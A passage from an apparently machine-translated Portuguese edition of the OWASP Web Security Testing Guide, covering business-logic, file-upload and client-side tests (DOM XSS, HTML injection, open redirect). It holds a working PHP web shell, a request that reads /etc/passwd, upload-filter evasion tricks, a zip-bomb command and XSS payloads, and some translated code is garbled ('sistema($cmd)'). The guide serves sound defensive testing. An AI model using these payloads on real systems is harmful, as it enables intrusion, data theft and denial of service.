apropriados foram registrados.
Método de teste 2
Em um sistema de gerenciamento de conteúdo ou quadro de avisos, insira e salve o texto ou os valores iniciais válidos.
Em seguida, tente anexar, editar e remover dados que deixariam os dados existentes em um estado inválido ou com valores inválidos para garantir que o usuário não tenha
permissão para salvar as informações incorretas. Alguns dados ou informações “inválidas”
podem ser palavras específicas (palavrões) ou tópicos específicos (como questões políticas).
Testando Directory Traversal/File Include
Teste para Ignorar o Esquema de Autorização
Testando para Ignorar o Esquema de Gerenciamento de Sessão
Testar a validação de dados da lógica de negócios
Capacidade de teste para falsificar solicitações
Testar verificações de integridade
Teste para temporização do processo
Teste o número de vezes que uma função pode ser usada limites
Defesas de teste contra uso indevido de aplicativos
Carregamento de teste de tipos de arquivo inesperados
Carregamento de teste de arquivos maliciosos
Remediação
O aplicativo deve ser autoconsciente e ter verificações para garantir que os usuários concluam cada etapa do processo de fluxo de trabalho na ordem correta e evitem que invasores
contornem/pulem/ou repitam quaisquer etapas/processos no fluxo de trabalho. O teste de vulnerabilidades de fluxo de trabalho envolve o desenvolvimento de casos de abuso/uso indevido
de lógica de negócios com o objetivo de concluir com êxito o processo de negócios sem concluir as etapas corretas na ordem correta.
Referências
Folha de Consulta do Caso de Abuso OWASP
CWE-840: Erros de lógica de negócios

369
Defesas de teste contra uso indevido de aplicativos
EU IRIA
WSTG-BUSL-07
Resumo
O uso indevido e inválido de funcionalidade válida pode identificar ataques que tentam enumerar o aplicativo da web, identificar pontos fracos e explorar
vulnerabilidades. Testes devem ser realizados para determinar se existem mecanismos defensivos na camada de aplicativo para proteger o aplicativo.
A falta de defesas ativas permite que um invasor procure vulnerabilidades sem nenhum recurso. O proprietário do aplicativo, portanto, não saberá que seu
aplicativo está sendo atacado.
Exemplo
Um usuário autenticado realiza a seguinte sequência (improvável) de ações:
1. Tentativa de acessar um ID de arquivo que suas funções não têm permissão para baixar
2. Substitui um único tick ' em vez do número de ID do arquivo
3. Altera uma solicitação GET para POST 4.
Adiciona um parâmetro extra
5. Duplica um par de nome/valor de parâmetro
O aplicativo está monitorando o uso indevido e responde após o 5º evento com confiança extremamente alta de que o usuário é um invasor. Por exemplo o
aplicativo:
Desativa a funcionalidade crítica
Habilita etapas de autenticação adicionais para a funcionalidade restante
Adiciona atrasos de tempo em cada ciclo de solicitação-resposta
Começa a registrar dados adicionais sobre as interações do usuário (por exemplo, cabeçalhos de solicitação HTTP higienizados, corpos e corpos de
resposta)
Se o aplicativo não responder de forma alguma e o invasor puder continuar a abusar da funcionalidade e enviar conteúdo claramente malicioso no aplicativo, o
aplicativo falhou neste caso de teste. Na prática, é improvável que as ações de exemplo discretas no exemplo acima ocorram dessa forma. É muito mais provável
que uma ferramenta fuzzing seja usada para identificar pontos fracos em cada parâmetro. Isso é o que um testador de segurança também terá realizado.
Objetivos do teste
Gere notas de todos os testes realizados contra o sistema.
Revise quais testes tiveram uma funcionalidade diferente com base na entrada agressiva.
Entenda as defesas existentes e verifique se são suficientes para proteger o sistema contra técnicas de bypass.
Como testar
Este teste é incomum porque o resultado pode ser extraído de todos os outros testes executados no aplicativo da web. Ao realizar todos os outros testes, observe
as medidas que podem indicar que o aplicativo possui autodefesa integrada:
Respostas alteradas
Solicitações bloqueadas
Machine
370
Ações que desconectam um usuário ou bloqueiam sua conta
Estes só podem ser localizados. As defesas localizadas comuns (por função) são:
Rejeitar entrada contendo certos caracteres
Bloquear uma conta temporariamente após várias falhas de autenticação
Controles de segurança localizados não são suficientes. Freqüentemente, não há defesas contra o uso indevido geral, como:
navegação forçada
Ignorando a validação de entrada da camada de apresentação
Vários erros de controle de acesso
Nomes de parâmetros adicionais, duplicados ou ausentes
Várias falhas de validação de entrada ou verificação de lógica de negócios com valores que não podem ser o resultado de erros ou erros de digitação do usuário
Dados estruturados (por exemplo, JSON, XML) de um formato inválido são recebidos
São recebidos scripts flagrantes entre sites ou cargas úteis de injeção de SQL
Utilizar o aplicativo mais rápido do que seria possível sem ferramentas de automação
Mudança na geolocalização continental de um usuário
Mudança de agente de usuário
Acessando um processo de negócios de vários estágios na ordem errada
Grande número ou alta taxa de uso de funcionalidade específica do aplicativo (por exemplo, envio de código de comprovante, pagamentos com cartão de crédito
com falha, uploads de arquivos, downloads de arquivos, logouts etc.).
Essas defesas funcionam melhor em partes autenticadas do aplicativo, embora a taxa de criação de novas contas ou o acesso a conteúdo (por exemplo, para coletar
informações) possam ser úteis em áreas públicas.
Nem todos os itens acima precisam ser monitorados pelo aplicativo, mas há um problema se nenhum deles for. Ao testar o aplicativo da web, realizando o tipo de ação
acima, alguma resposta foi tomada contra o testador? Caso contrário, o testador deve relatar que o aplicativo parece não ter defesas ativas em todo o aplicativo contra
uso indevido. Observe que às vezes é possível que todas as respostas à detecção de ataque sejam silenciosas para o usuário (por exemplo, alterações de log,
monitoramento aumentado, alertas para administradores e solicitação de proxy), portanto, a confiança nessa descoberta não pode ser garantida. Na prática, muito
poucos aplicativos (ou infraestrutura relacionada, como um firewall de aplicativo da Web) estão detectando esses tipos de uso indevido.

Todos os outros casos de teste são relevantes.
Remediação
Os aplicativos devem implementar defesas ativas para afastar invasores e abusadores.
Referências
Software Resiliente, Software Assurance, Segurança Interna do Departamento dos EUA
IR 7684 Sistema de Pontuação de Uso Indevido Comum (CMSS), NIST
Enumeração e Classificação de Padrão de Ataque Comum (CAPEC), The Mitre Corporation
Projeto OWASP AppSensor Guia do
AppSensor v2, OWASP Watson C, Coates
M, Melton J e Groves G, criando aplicativos de software com reconhecimento de ataque com defesas em tempo real, CrossTalk The Journal of Defense Software
Engineering, vol. 24, nº 5, Set/Out 2011

371
EU IRIA
WSTG-BUSL-08
Resumo
Muitos processos de negócios de aplicativos permitem o upload e a manipulação de dados enviados por meio de arquivos. Mas o processo de negócios deve
verificar os arquivos e permitir apenas determinados tipos de arquivos “aprovados”. Decidir quais arquivos são “aprovados” é determinado pela lógica de negócios
e é específico do aplicativo/sistema. O risco é que, ao permitir que os usuários façam upload de arquivos, os invasores podem enviar um tipo de arquivo inesperado
que pode ser executado e afetar negativamente o aplicativo ou o sistema por meio de ataques que podem desfigurar o site, executar comandos remotos, navegar
pelos arquivos do sistema, navegar pelo recursos locais, atacar outros servidores ou explorar as vulnerabilidades locais, apenas para citar alguns.
As vulnerabilidades relacionadas ao upload de tipos de arquivo inesperados são únicas, pois o upload deve rejeitar rapidamente um arquivo se ele não tiver uma
extensão específica. Além disso, isso é diferente de carregar arquivos maliciosos, pois, na maioria dos casos, um formato de arquivo incorreto pode não ser
inerentemente “malicioso”, mas pode ser prejudicial aos dados salvos. Por exemplo, se um aplicativo aceitar arquivos do Windows Excel, se um arquivo de banco
de dados semelhante for carregado, ele poderá ser lido, mas os dados extraídos podem ser movidos para locais incorretos.
O aplicativo pode esperar que apenas determinados tipos de arquivo sejam carregados para processamento, como arquivos .csv ou .txt .
O aplicativo pode não validar o arquivo carregado por extensão (para validação de arquivo de baixa garantia) ou conteúdo (validação de arquivo de alta garantia).
Isso pode resultar em resultados inesperados do sistema ou do banco de dados no aplicativo/sistema ou fornecer aos invasores métodos adicionais para explorar
o aplicativo/sistema.
Exemplo
Suponha que um aplicativo de compartilhamento de imagens permita que os usuários carreguem um arquivo gráfico .gif ou .jpg no site. E se um invasor conseguir
fazer upload de um arquivo HTML com uma tag <script> ou um arquivo PHP? O sistema pode mover o arquivo de um local temporário para o local final onde o
código PHP pode agora ser executado no aplicativo ou sistema.
Objetivos do teste
Revise a documentação do projeto para tipos de arquivo que são rejeitados pelo sistema.
Verifique se os tipos de arquivo indesejados são rejeitados e tratados com segurança.
Verifique se os uploads em lote de arquivos são seguros e não permitem nenhum desvio contra as medidas de segurança definidas.
Como testar
Método de teste específico
Estude os requisitos lógicos dos aplicativos.
Prepare uma biblioteca de arquivos “não aprovados” para upload que podem conter arquivos como: jsp, exe ou arquivos HTML contendo script.
No aplicativo, navegue até o mecanismo de envio ou upload de arquivo.
Envie o arquivo “não aprovado” para upload e verifique se eles estão devidamente impedidos de fazer upload Verifique se o site só faz
verificação do tipo de arquivo no JavaScript do lado do cliente Verifique se o site só verifica o tipo de arquivo por “Content-Type” na
solicitação HTTP .
Verifique se o site verifica apenas pela extensão do arquivo.
Verifique se outros arquivos carregados podem ser acessados diretamente pelo URL especificado.
Verifique se o arquivo carregado pode incluir injeção de código ou script.

Machine
372
Verifique se há algum caminho de arquivo verificando os arquivos enviados. Especialmente, os hackers podem compactar arquivos com o caminho especificado no ZIP para que os arquivos
descompactados possam ser carregados no caminho pretendido após o upload e a descompactação.
Testar a manipulação de extensões de arquivo para informações confidenciais
Remediação
Os aplicativos devem ser desenvolvidos com mecanismos para aceitar e manipular apenas arquivos “aceitáveis” que o restante da funcionalidade do aplicativo está pronto para manipular e esperar. Alguns
exemplos específicos incluem: listas de negação ou permissão de extensões de arquivo, usando “Tipo de conteúdo” do cabeçalho ou usando um reconhecedor de tipo de arquivo, tudo para permitir apenas
tipos de arquivo especificados no sistema.
Referências
OWASP - Upload de arquivo irrestrito

Práticas recomendadas de segurança para upload de arquivos: bloquear um upload de arquivo malicioso
Impedir que as pessoas façam upload de arquivos PHP maliciosos por meio de formulários
CWE-434: Upload irrestrito de arquivo com tipo perigoso

373
EU IRIA
WSTG-BUSL-09
Resumo
Muitos processos de negócios do aplicativo permitem que os usuários façam upload de dados para eles. Embora a validação de entrada seja amplamente compreendida
para campos de entrada baseados em texto, é mais complicada de implementar quando os arquivos são aceitos. Embora muitos sites implementem restrições simples
com base em uma lista de extensões permitidas (ou bloqueadas), isso não é suficiente para impedir que invasores carreguem tipos de arquivos legítimos com conteúdo
malicioso.
As vulnerabilidades relacionadas ao upload de arquivos maliciosos são únicas, pois esses arquivos “maliciosos” podem ser facilmente rejeitados por meio da inclusão de
uma lógica de negócios que verificará os arquivos durante o processo de upload e rejeitará aqueles percebidos como maliciosos.
Além disso, isso é diferente de carregar arquivos inesperados, pois, embora o tipo de arquivo possa ser aceito, o arquivo ainda pode ser malicioso para o sistema.
Finalmente, “malicioso” significa coisas diferentes para sistemas diferentes, por exemplo, arquivos maliciosos que podem explorar vulnerabilidades do servidor SQL não
podem ser considerados “maliciosos” em um ambiente que usa um armazenamento de dados NoSQL.
O aplicativo pode permitir o upload de arquivos maliciosos que incluem exploits ou shellcode sem submetê-los à verificação de arquivos maliciosos. Arquivos maliciosos
podem ser detectados e interrompidos em vários pontos da arquitetura do aplicativo, como: IPS/IDS, software antivírus de servidor de aplicativos ou verificação antivírus
por aplicativo à medida que os arquivos são carregados (talvez descarregando a verificação usando SCAP).
Exemplo
Um exemplo comum dessa vulnerabilidade é um aplicativo como um blog ou fórum que permite aos usuários fazer upload de imagens e outros arquivos de mídia. Embora
sejam considerados seguros, se um invasor conseguir carregar um código executável (como um script PHP), isso pode permitir que ele execute comandos do sistema
operacional, leia e modifique informações no sistema de arquivos, acesse o banco de dados de back-end e comprometa totalmente o servidor.
Objetivos do teste
Identifique a funcionalidade de upload de arquivo.
Revise a documentação do projeto para identificar quais tipos de arquivo são considerados aceitáveis e quais tipos seriam considerados perigosos ou maliciosos.
Se a documentação não estiver disponível, considere o que seria apropriado com base na finalidade do aplicativo.
Determine como os arquivos carregados são processados.
Obtenha ou crie um conjunto de arquivos maliciosos para teste.
Tente carregar os arquivos maliciosos para o aplicativo e determine se ele é aceito e processado.
Como testar
Tipos de arquivos maliciosos
As verificações mais simples que um aplicativo pode fazer são determinar se apenas tipos confiáveis de arquivos podem ser carregados.
Shells da Web
Se o servidor estiver configurado para executar código, pode ser possível obter a execução de comandos no servidor carregando um arquivo conhecido como web shell,
que permite executar código arbitrário ou comandos do sistema operacional. No

374
Para que esse ataque seja bem-sucedido, o arquivo precisa ser carregado dentro do webroot e o servidor deve ser configurado para executar
o código.
Carregar esse tipo de shell em um servidor voltado para a Internet é perigoso, porque permite que qualquer um que saiba (ou adivinhe) a
localização do shell execute o código no servidor. Várias técnicas podem ser usadas para proteger o shell contra acesso não autorizado, como:
Carregar o shell com um nome gerado aleatoriamente.
Senha protegendo o shell.
Implementando restrições baseadas em IP no shell.
Lembre-se de remover a casca quando terminar.
O exemplo abaixo mostra um shell simples baseado em PHP, que executa comandos do sistema operacional passados a ele em um parâmetro
GET e só pode ser acessado a partir de um endereço IP específico:
<?php
if ($_SERVER['REMOTE_HOST'] === "FIXME") { // Defina seu endereço IP aqui if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']); echo

"<pre>\n"; sistema($cmd); echo "</pre>";
}
}
?>
Uma vez carregado o shell (com um nome aleatório), você pode executar comandos do sistema operacional passando-os no parâmetro cmd
GET:
https://example.org/7sna8uuorvcx3x4fx.php?cmd=cat+/etc/passwd
Filtro de Evasão
A primeira etapa é determinar o que os filtros estão permitindo ou bloqueando e onde eles são implementados. Se as restrições forem
executadas no lado do cliente usando JavaScript, elas poderão ser ignoradas trivialmente com uma interceptação
proxy.
Se a filtragem for executada no lado do servidor, várias técnicas podem ser tentadas para ignorá-la, incluindo:
Altere o valor de Content-Type como image/jpeg na solicitação HTTP.
Altere as extensões para uma extensão menos comum, como file.php5 , arquivo.shtml , arquivo.asa , arquivo.jsp ,
arquivo.jspx , arquivo.aspx , arquivo.asp , arquivo.phtml , arquivo.cshtml
Altere a capitalização da extensão, como file.PhP ou file.AspX Se a solicitação incluir vários
nomes de arquivo, altere-os para valores diferentes.
Usando caracteres especiais à direita, como espaços, pontos ou caracteres nulos, como file.asp... , file.php;jpg , file.asp%00.jpg ,
1.jpg%00.php
Em versões mal configuradas do nginx, carregar um arquivo como test.jpg/x.php pode permitir que ele seja executado como x.php .
Conteúdo de arquivo malicioso
Depois que o tipo de arquivo for validado, é importante também garantir que o conteúdo do arquivo seja seguro. Isso é significativamente mais
difícil de fazer, pois as etapas necessárias variam dependendo dos tipos de arquivo permitidos.
Malware
Os aplicativos geralmente devem verificar os arquivos carregados com software antimalware para garantir que não contenham nada malicioso.
A maneira mais fácil de testar isso é usando o arquivo de teste EICAR, que é um arquivo seguro sinalizado como
375
malicioso por todos os softwares anti-malware.
Dependendo do tipo de aplicativo, pode ser necessário testar outros tipos de arquivos perigosos, como documentos do Office contendo macros maliciosas. Ferramentas
como o Metasploit Framework e o Social Engineer Toolkit (SET) podem ser usadas para gerar arquivos maliciosos para vários formatos.
Quando este arquivo é carregado, ele deve ser detectado e colocado em quarentena ou excluído pelo aplicativo. Dependendo de como o aplicativo processa o arquivo,
pode não ser óbvio se isso ocorreu.
Traversal de diretório de arquivo
Se o aplicativo extrai arquivos (como arquivos Zip), pode ser possível gravar em locais indesejados usando passagem de diretório. Isso pode ser explorado carregando
um arquivo zip malicioso que contém caminhos que atravessam o sistema de arquivos usando sequências como ..\..\..\..\shell.php . Essa técnica é discutida mais adiante
no comunicado da snyk.
bombas zip
Uma bomba Zip (mais conhecido como bomba de descompressão) é um arquivo compactado que contém um grande volume de dados.
Destina-se a causar uma negação de serviço esgotando o espaço em disco ou a memória do sistema de destino que tenta extrair o arquivo. Observe que, embora o
formato Zip seja o maior exemplo disso, outros formatos também são afetados, incluindo gzip (que é frequentemente usado para compactar dados em trânsito).
Em seu nível mais simples, uma bomba Zip pode ser criada comprimindo um arquivo grande que consiste em um único caractere. O exemplo abaixo mostra como criar
um arquivo de 1 MB que será descompactado para 1 GB:
dd if=/dev/zero bs=1M count=1024 | zip -9 > bomb.zip
Existem vários métodos que podem ser usados para obter taxas de compactação muito mais altas, incluindo vários níveis de compactação, abusando do formato Zip e
quinas (que são arquivos que contém uma cópia de si mesmos, causando recursão infinita).
Um ataque de bomba Zip bem-sucedido resultará em uma negação de serviço e também pode levar ao aumento de custos se uma plataforma de nuvem de
dimensionamento automático for usada. Não realize esse tipo de ataque a menos que tenha considerado esses riscos e tenha aprovação por escrito para fazê-
lo.
Arquivos XML
Os arquivos XML têm várias vulnerabilidades potenciais, como XML eXternal Entities (XXE) e ataques de negação de serviço, como o ataque de bilhões de risadas.
Eles são discutidos mais adiante no guia Testing for XML Injection .
Outros formatos de arquivo
Muitos outros formatos de arquivo também têm preocupações específicas de segurança que precisam ser levadas em consideração, como:
Arquivos CSV podem permitir ataques de injeção de CSV.
Os arquivos do Office podem conter macros maliciosas ou código do PowerShell.
PDFs podem conter JavaScript malicioso.
Os formatos de arquivo permitidos devem ser cuidadosamente revisados quanto à funcionalidade potencialmente perigosa e, sempre que possível, devem ser feitas
tentativas para explorar isso durante o teste.
Quando há suporte para o recurso de upload de arquivo, os métodos/API a seguir são comuns de serem encontrados no código-fonte.
Java: novo arquivo , importação , upload , getFileName , Baixe , obtenhaOutputString
C/C++: abrir , fopen

Machine
376
PHP: move_uploaded_file() , Readfile , file_put_contents() , file() , parse_ini_file() , copy() ,
fopen() , include() , require()

Testar a manipulação de extensões de arquivo para informações confidenciais
Teste para injeção de XML
Remediação
A proteção total contra o upload de arquivos maliciosos pode ser complexa, e as etapas exatas necessárias variam dependendo dos tipos de
arquivos que são carregados e de como os arquivos são processados ou analisados no servidor. Isso é discutido mais detalhadamente na folha
de dicas de upload de arquivo.
Ferramentas
Funcionalidade de geração de carga útil do Metasploit
Interceptando proxy
Referências
OWASP - Folha de dicas para upload de arquivo
OWASP - Upload de arquivo irrestrito
Por que os formulários de upload de arquivos são uma grande ameaça à segurança
Visão geral dos ataques de upload de arquivos maliciosos
8 regras básicas para implementar uploads de arquivos seguros
Impedir que as pessoas façam upload de arquivos PHP maliciosos por meio de formulários
Como saber se um arquivo é malicioso
CWE-434: Upload irrestrito de arquivo com tipo perigoso
Implementando o upload seguro de arquivos
Metasploit gerando cargas úteis

377
4.11 Teste do lado do cliente
4.11.1 Teste para Cross Site Scripting Baseado em DOM
4.11.2 Teste para execução de JavaScript
4.11.3 Teste para injeção de HTML
4.11.4 Teste para redirecionamento de URL do lado do cliente
4.11.5 Teste para injeção de CSS
4.11.6 Teste para manipulação de recursos do lado do cliente
4.11.7 Testando o compartilhamento de recursos entre origens
4.11.8 Teste para intermitência entre sites
4.11.9 Teste de Clickjacking
4.11.10 Testando WebSockets
4.11.11 Testando mensagens da Web
4.11.12 Testando o armazenamento do navegador
4.11.13 Teste para inclusão de script entre sites

378
Teste para Cross Site Scripting baseado em DOM
EU IRIA
WSTG-CLNT-01
Resumo
Script cross-site baseado em DOM é o nome de fato para XSS bugs que são o resultado de conteúdo ativo do lado do navegador em uma
página, geralmente JavaScript, obtendo entrada do usuário por meio de uma fonte e usá-lo em uma pia, levando à execução do código
injetado. Este documento discute apenas bugs de JavaScript que levam ao XSS.
O DOM, ou Document Object Model, é o formato estrutural usado para representar documentos em um navegador. O DOM permite que
scripts dinâmicos, como JavaScript, façam referência a componentes do documento, como um campo de formulário ou um cookie de
sessão. O DOM também é usado pelo navegador para segurança - por exemplo, para impedir que scripts em diferentes domínios obtenham
cookies de sessão para outros domínios. Uma vulnerabilidade de XSS baseada em DOM pode ocorrer quando o conteúdo ativo, como uma
função JavaScript, é modificado por uma solicitação especialmente criada para que um elemento DOM possa ser controlado por um invasor.
Nem todos os bugs de XSS exigem que o invasor controle o conteúdo retornado do servidor, mas, em vez disso, pode abusar de práticas
de codificação de JavaScript ruins para obter os mesmos resultados. As consequências são as mesmas de uma falha típica de XSS, apenas
o meio de entrega é diferente.
Em comparação com outros tipos de vulnerabilidades de cross site scripting (refletidas e armazenadas, onde um parâmetro não sanitizado
é passado pelo servidor, então retornado ao usuário e executado no contexto do navegador do usuário, uma vulnerabilidade XSS baseada
em DOM controla o fluxo do código usando elementos do Document Object Model (DOM) junto com código elaborado pelo invasor para
alterar o fluxo.
Devido à sua natureza, as vulnerabilidades XSS baseadas em DOM podem ser executadas em muitas instâncias sem que o servidor seja
capaz de determinar o que realmente está sendo executado. Isso pode tornar muitas das técnicas gerais de filtragem e detecção de XSS
impotentes para tais ataques.
Este exemplo hipotético usa o seguinte código do lado do cliente:
<script>
document.write("O site está em: </ " + document.location.href + ".");
script>
Um invasor pode anexar #<script>alert('xss')</script> ao URL da página afetada que, quando executado, exibiria a caixa de alerta. Nesse
caso, o código anexado não seria enviado ao servidor, pois tudo após o caractere # não é tratado como parte da consulta pelo navegador,
mas como um fragmento. Neste exemplo, o código é imediatamente executado e um alerta de “xss” é exibido pela página. Ao contrário dos
tipos mais comuns de cross site scripting (refletido e armazenado em que o código é enviado para o servidor e depois de volta para o
navegador), este é executado diretamente no navegador do usuário sem contato com o servidor.
As consequências das falhas de XSS baseadas em DOM são tão amplas quanto aquelas vistas em formas mais conhecidas de XSS,
incluindo recuperação de cookies, injeção de scripts maliciosos adicionais, etc., e devem, portanto, ser tratados com a mesma severidade.
Objetivos do teste
Identifique coletores de DOM.
Crie cargas úteis pertencentes a cada tipo de coletor.

379
Como testar
Os aplicativos JavaScript diferem significativamente de outros tipos de aplicativos porque geralmente são gerados dinamicamente pelo servidor. Para
entender qual código está sendo executado, o site que está sendo testado precisa ser rastreado para determinar todas as instâncias de JavaScript
sendo executadas e onde a entrada do usuário é aceita. Muitos sites contam com grandes bibliotecas de funções, que geralmente se estendem por
centenas de milhares de linhas de código e não foram desenvolvidas internamente. Nesses casos, o teste de cima para baixo geralmente se torna a
única opção viável, já que muitas funções de nível inferior nunca são usadas, e analisá-las para determinar quais são os coletores consumirá mais
tempo do que normalmente está disponível. O mesmo também pode ser dito para testes de cima para baixo se as entradas ou a falta delas não forem
identificadas para começar.
A entrada do usuário vem em duas formas principais:
Entrada gravada na página pelo servidor de uma forma que não permite XSS direto e
Entrada obtida de objetos JavaScript do lado do cliente.
Aqui estão dois exemplos de como o servidor pode inserir dados em JavaScript:
var data = "<dados de escape do servidor>"; var result =

someFunction("< dados escapados do servidor>");
Aqui estão dois exemplos de entrada de objetos JavaScript do lado do cliente:
var dados = window.location; var

resultado = someFunction(window.referrer);
Embora haja pouca diferença no código JavaScript em como eles são recuperados, é importante observar que, quando a entrada é recebida por meio
do servidor, o servidor pode aplicar quaisquer permutações aos dados que desejar. Por outro lado, as permutações executadas por objetos JavaScript
são razoavelmente bem compreendidas e documentadas. Se someFunction no exemplo acima fosse um coletor, a capacidade de exploração no
primeiro caso dependeria da filtragem feita pelo servidor, enquanto no último caso dependeria da codificação feita pelo navegador no objeto
window.referrer .
Stefano Di Paulo escreveu um excelente artigo sobre o que os navegadores retornam quando questionados sobre os vários elementos de um
URL usando os atributos de documento e local.
Além disso, o JavaScript geralmente é executado fora dos blocos <script> , conforme evidenciado pelos muitos vetores que levaram a desvios de
filtros XSS no passado. Ao rastrear o aplicativo, é importante observar o uso de scripts em locais como manipuladores de eventos e blocos CSS com
atributos de expressão. Além disso, observe que qualquer CSS externo ou objetos de script precisarão ser avaliados para determinar qual código está
sendo executado.
O teste automatizado tem sucesso muito limitado na identificação e validação de XSS baseado em DOM, pois geralmente identifica XSS enviando
uma carga útil específica e tenta observá-la na resposta do servidor. Isso pode funcionar bem para o exemplo simples fornecido abaixo, onde o
parâmetro de mensagem é refletido de volta para o usuário:
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length)); </script>
No entanto, pode não ser detectado no seguinte caso artificial:
<script>
var navAgt = navigator.userAgent;
if (navAgt.indexOf("MSIE")!=-1) {
380
document.write("Você está usando o IE como navegador e visitando o site: " + document.location.href

+ "."); }
senão
{
document.write("Você está usando um navegador desconhecido.");
} </script>
Por esse motivo, o teste automatizado não detectará áreas que possam ser suscetíveis a XSS baseado em DOM, a menos que a ferramenta
de teste possa realizar análises adicionais do código do lado do cliente.
O teste manual deve, portanto, ser realizado e pode ser feito examinando áreas no código onde os parâmetros são referidos que podem ser
úteis para um invasor. Exemplos dessas áreas incluem lugares onde o código é gravado dinamicamente na página e outros lugares onde o
DOM é modificado ou até mesmo onde os scripts são executados diretamente.
Remediação
Para medidas de prevenção de XSS baseado em DOM, consulte a folha de dicas de prevenção de XSS baseado em DOM.
Referências
DomXSSWiki
Artigo DOM XSS de Amit Klein

Machine
381
Testando a execução do JavaScript
EU IRIA
WSTG-CLNT-02
Resumo
Uma vulnerabilidade de injeção de JavaScript é um subtipo de cross site scripting (XSS) que envolve a capacidade de injetar código JavaScript
arbitrário que é executado pelo aplicativo dentro do navegador da vítima. Essa vulnerabilidade pode ter muitas consequências, como a
divulgação de cookies de sessão de um usuário que podem ser usados para representar a vítima ou, de forma mais geral, pode permitir que o
invasor modifique o conteúdo da página vista pelas vítimas ou o comportamento do aplicativo.
As vulnerabilidades de injeção de JavaScript podem ocorrer quando o aplicativo não possui validação adequada de entrada e saída fornecida
pelo usuário. Como o JavaScript é usado para preencher dinamicamente as páginas da web, essa injeção ocorre durante essa fase de
processamento do conteúdo e, consequentemente, afeta a vítima.
Ao testar esta vulnerabilidade, considere que alguns caracteres são tratados de forma diferente por diferentes navegadores. Para referência,
consulte XSS baseado em DOM.
Aqui está um exemplo de script que não realiza nenhuma validação da variável rr . A variável contém entrada fornecida pelo usuário por meio
da string de consulta e, adicionalmente, não aplica nenhuma forma de codificação:
var rr = location.search.substring(1); if(rr)

{ window.location=decodeURIComponent(rr);
Isso implica que um invasor pode injetar código JavaScript simplesmente enviando a seguinte string de consulta:
www.victim.com/?javascript:alert(1) .
Objetivos do teste
Identifique coletores e possíveis pontos de injeção de JavaScript.
Como testar
Considere o seguinte: exercício DOM XSS
A página contém o seguinte script:
<script>
function loadObj(){ var
cc=eval('('+aMess+')');
document.getElementById('mess').textContent=cc.message;
}
if(window.location.hash.indexOf('message')==-1) { var
aMess='({"message":"Olá usuário!"})'; } else { var
aMess=location.hash.substr(window.location.hash.indexOf('message=')
+8)
} </script>
382
O código acima contém um location.hash de origem que é controlado pelo invasor que pode injetar diretamente no valor da
mensagem um código JavaScript para assumir o controle do navegador do usuário.
383
Teste para injeção de HTML
EU IRIA
WSTG-CLNT-03
Resumo
A injeção de HTML é um tipo de vulnerabilidade de injeção que ocorre quando um usuário é capaz de controlar um ponto de entrada e injetar
código HTML arbitrário em uma página da Web vulnerável. Essa vulnerabilidade pode ter muitas consequências, como a divulgação dos cookies
de sessão de um usuário que podem ser usados para representar a vítima ou, de forma mais geral, pode permitir que o invasor modifique o
conteúdo da página visto pelas vítimas.
Essa vulnerabilidade ocorre quando a entrada do usuário não é limpa corretamente e a saída não é codificada. Uma injeção permite que o invasor
envie uma página HTML maliciosa para a vítima. O navegador de destino não será capaz de distinguir (confiar) em partes legítimas de partes
maliciosas da página e, consequentemente, analisará e executará toda a página no contexto da vítima.
Há uma ampla variedade de métodos e atributos que podem ser usados para renderizar conteúdo HTML. Se esses métodos forem fornecidos
com uma entrada não confiável, haverá um alto risco de vulnerabilidade de injeção de HTML. Por exemplo, o código HTML malicioso pode ser
injetado por meio do método JavaScript innerHTML , geralmente usado para renderizar o código HTML inserido pelo usuário. Se as strings não
forem limpas corretamente, o método pode habilitar a injeção de HTML. Uma função JavaScript que pode ser usada para esse propósito é
document.write() .
O exemplo a seguir mostra um trecho de código vulnerável que permite que uma entrada não validada seja usada para criar HTML dinâmico no
contexto da página:
var userposition=location.href.indexOf("user="); var

user=location.href.substring(userposition+5);
document.getElementById("Bem-vindo").innerHTML=" Olá, "+usuário;
O exemplo a seguir mostra o código vulnerável usando a função document.write() :
var userposition=location.href.indexOf("user="); var

user=location.href.substring(userposition+5);
document.write("<h1>Olá, " + usuário +"</h1>");
Em ambos os exemplos, essa vulnerabilidade pode ser explorada com uma entrada como:
http://vulnerable.site/page.html?user=<img%20src='aaa'%20onerror=alert(1)>
Essa entrada adicionará uma tag de imagem à página que executará o código JavaScript arbitrário inserido pelo usuário mal-intencionado no
contexto HTML.
Objetivos do teste
Identifique os pontos de injeção de HTML e avalie a gravidade do conteúdo injetado.
Como testar
Machine
384
Considere o seguinte exercício DOM XSS http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
O código HTML contém o seguinte script:
<script src="../js/jquery-1.7.1.js"></script> <script> function

setMessage(){ var t=location.hash.slice(1); $("div[id="+t+"]")text("o-
dom-está-agora-carregado-e-pode-ser-manipulado");
} $(document).ready(setMessage); $
(window).bind("hashchange",setMessage) </script>
<body> <script src="../js/embed.js"></script>
<span><a href="#message" > Mostrar aqui</a><div
id="message">Mostrando a mensagem1 </div>
<span><a href="#message1" > Mostrar aqui</a><div id="message1" >Mostrando Message2</div> <span><a
href="#message2" > Mostrar aqui</a><div id="message2">Mostrando Message3</div> </body>
É possível injetar código HTML.

385
Testando o redirecionamento de URL do lado do cliente
EU IRIA
WSTG-CLNT-04
Resumo
Esta seção descreve como verificar o redirecionamento de URL do lado do cliente, também conhecido como redirecionamento aberto. É uma falha de
validação de entrada que existe quando um aplicativo aceita entrada controlada pelo usuário que especifica um link que leva a uma URL externa que
pode ser maliciosa. Esse tipo de vulnerabilidade pode ser usado para realizar um ataque de phishing ou redirecionar a vítima para uma página de
infecção.
Essa vulnerabilidade ocorre quando um aplicativo aceita entrada não confiável que contém um valor de URL e não o limpa. Esse valor de URL pode
fazer com que o aplicativo da Web redirecione o usuário para outra página, como uma página maliciosa controlada pelo invasor.
Essa vulnerabilidade pode permitir que um invasor inicie com sucesso um golpe de phishing e roube as credenciais do usuário. Como o redirecionamento
é originado pelo aplicativo real, as tentativas de phishing podem ter uma aparência mais confiável.
Aqui está um exemplo de um URL de ataque de phishing.
http://www.target.site?#redirect=www.fake-target.site
A vítima que visitar este URL será redirecionada automaticamente para fake-target.site , onde um invasor pode colocar uma página falsa que se pareça
com o site pretendido, a fim de roubar as credenciais da vítima.
O redirecionamento aberto também pode ser usado para criar uma URL que contorne as verificações de controle de acesso do aplicativo e encaminhe
o invasor para funções privilegiadas que normalmente não seriam capazes de acessar.
Objetivos do teste
Identificar pontos de injeção que manipulam URLs ou caminhos.

Avalie os locais para os quais o sistema pode redirecionar.
Como testar
